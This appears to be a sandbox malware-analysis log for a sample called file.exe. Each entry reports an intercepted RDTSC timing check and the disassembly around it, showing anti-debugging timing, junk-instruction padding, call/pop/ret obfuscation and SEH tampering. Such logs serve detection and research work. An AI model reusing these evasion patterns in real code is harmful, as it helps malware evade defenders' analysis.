Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ADBA7 second address: 9ADBAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE260 second address: 9AE264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE264 second address: 9AE281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9598E72AD7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE3F2 second address: 9AE405 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F95994487AAh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE405 second address: 9AE413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007F9598E72AC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE55B second address: 9AE563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE563 second address: 9AE56A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE56A second address: 9AE570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE570 second address: 9AE576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE576 second address: 9AE57A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE6AE second address: 9AE6B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F9598E72AC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE94D second address: 9AE965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnp 00007F95994487B3h 0x0000000b jmp 00007F95994487ADh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE965 second address: 9AE970 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F9598E72AC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2C42 second address: 9B2C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2C47 second address: 9B2C4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2C4C second address: 9B2C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2C52 second address: 9B2D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jg 00007F9598E72ACEh 0x00000010 push dword ptr fs:[00000000h] 0x00000017 cld 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f je 00007F9598E72AC7h 0x00000025 stc 0x00000026 lea eax, dword ptr [ebp+12487134h] 0x0000002c cld 0x0000002d mov dword ptr [eax+01h], esp 0x00000030 pushad 0x00000031 pushad 0x00000032 jmp 00007F9598E72AD0h 0x00000037 jmp 00007F9598E72ACAh 0x0000003c popad 0x0000003d ja 00007F9598E72ADAh 0x00000043 jmp 00007F9598E72AD4h 0x00000048 popad 0x00000049 lea eax, dword ptr [ebp+12487140h] 0x0000004f push 00000000h 0x00000051 push esi 0x00000052 call 00007F9598E72AC8h 0x00000057 pop esi 0x00000058 mov dword ptr [esp+04h], esi 0x0000005c add dword ptr [esp+04h], 0000001Ah 0x00000064 inc esi 0x00000065 push esi 0x00000066 ret 0x00000067 pop esi 0x00000068 ret 0x00000069 mov dword ptr [eax+01h], ebp 0x0000006c jl 00007F9598E72AD3h 0x00000072 jmp 00007F9598E72ACDh 0x00000077 jmp 00007F9598E72ACEh 0x0000007c mov byte ptr [ebp+122D1C4Bh], 0000004Fh 0x00000083 jmp 00007F9598E72AD3h 0x00000088 call 00007F9598E72AC9h 0x0000008d pushad 0x0000008e push eax 0x0000008f push edx 0x00000090 jmp 00007F9598E72AD5h 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2D49 second address: 9B2D61 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F95994487A8h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2D61 second address: 9B2D6B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9598E72ACCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2D6B second address: 9B2D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F95994487B9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2E5E second address: 9B2E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2E62 second address: 9B2E75 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F95994487A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jng 00007F95994487A6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2FB4 second address: 9B2FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007F9598E72AD4h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9864FF second address: 98650A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007F95994487A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B91DE second address: 9B91EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9598E72AD2h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B94DA second address: 9B94DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9686 second address: 9B968C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B968C second address: 9B9692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9692 second address: 9B9696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B996E second address: 9B998A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F95994487A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F95994487ADh 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B998A second address: 9B998F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9ADB second address: 9B9AE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9C58 second address: 9B9C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9C5C second address: 9B9C60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9C60 second address: 9B9C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9598E72ACDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F9598E72AD5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9C88 second address: 9B9C8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9C8E second address: 9B9C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBC6D second address: 9BBC72 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBD02 second address: 9BBD0C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9598E72ACCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBD0C second address: 9BBD18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBD18 second address: 9BBD5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F9598E72AD6h 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push edi 0x00000015 push edx 0x00000016 jl 00007F9598E72AC6h 0x0000001c pop edx 0x0000001d pop edi 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 je 00007F9598E72AC6h 0x00000029 jmp 00007F9598E72ACCh 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBD5F second address: 9BBD65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBD65 second address: 9BBD69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BCAF1 second address: 9BCAF7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BCCE5 second address: 9BCCEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BCCEB second address: 9BCCF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BCDAF second address: 9BCDCF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72ACDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9598E72ACDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BDCC4 second address: 9BDCC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE666 second address: 9BE679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9598E72ACFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BEE8F second address: 9BEE95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE679 second address: 9BE67D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF9D4 second address: 9BF9EC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F95994487A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jnl 00007F95994487A6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF9EC second address: 9BFA39 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F9598E72AC8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D1BA7h], edi 0x00000029 push 00000000h 0x0000002b jp 00007F9598E72ACAh 0x00000031 mov si, FBEAh 0x00000035 push 00000000h 0x00000037 sub dword ptr [ebp+1248307Ah], eax 0x0000003d push eax 0x0000003e push edi 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 pop eax 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF7A0 second address: 9BF7A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1A01 second address: 9C1A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 nop 0x00000007 sub esi, 68F1A95Eh 0x0000000d push 00000000h 0x0000000f mov esi, 3C53D6D2h 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+122D17E3h], edi 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jnl 00007F9598E72AC6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1A28 second address: 9C1A3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C219B second address: 9C21A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2C04 second address: 9C2C21 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F95994487ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jnl 00007F95994487A6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C21A1 second address: 9C21A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5B1A second address: 9C5B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4C5B second address: 9C4C61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5B1E second address: 9C5B24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4D51 second address: 9C4D64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72ACFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C69FD second address: 9C6A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6A01 second address: 9C6A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F9598E72AC8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 adc bx, 4838h 0x00000027 push 00000000h 0x00000029 mov bl, al 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007F9598E72AC8h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 00000019h 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 push eax 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7AD0 second address: 9C7AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6C39 second address: 9C6C3F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7AD4 second address: 9C7B5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F95994487A8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov di, B9C6h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F95994487A8h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000017h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 mov dword ptr [ebp+122D2F39h], ebx 0x0000004c push 00000000h 0x0000004e jmp 00007F95994487B5h 0x00000053 jmp 00007F95994487AAh 0x00000058 xchg eax, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b push ecx 0x0000005c pushad 0x0000005d popad 0x0000005e pop ecx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9B5B second address: 9C9B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7C9B second address: 9C7CBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F95994487A6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA15F second address: 9CA164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA164 second address: 9CA1E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov bx, di 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F95994487A8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov di, BA03h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007F95994487A8h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 mov ebx, dword ptr [ebp+122D18AFh] 0x0000004f mov dword ptr [ebp+122D2B7Dh], ecx 0x00000055 xchg eax, esi 0x00000056 pushad 0x00000057 jns 00007F95994487A8h 0x0000005d pushad 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA1E8 second address: 9CA20A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9598E72AD6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB1D8 second address: 9CB1E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB1E3 second address: 9CB1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB1E7 second address: 9CB22F instructions: 0x00000000 rdtsc 0x00000002 js 00007F95994487A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push esi 0x0000000f pop ebx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F95994487A8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c sbb di, 7B00h 0x00000031 push esi 0x00000032 movzx edi, cx 0x00000035 pop ebx 0x00000036 push 00000000h 0x00000038 sub bx, 9677h 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB22F second address: 9CB235 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB235 second address: 9CB257 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F95994487B4h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB257 second address: 9CB25B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA424 second address: 9CA42E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F95994487ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD298 second address: 9CD29C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC509 second address: 9CC50D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF2CB second address: 9CF315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 nop 0x00000007 jns 00007F9598E72ACBh 0x0000000d push 00000000h 0x0000000f mov dword ptr [ebp+122D2C93h], esi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F9598E72AC8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 movsx edi, bx 0x00000034 mov bh, AEh 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jns 00007F9598E72AC6h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF315 second address: 9CF31B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
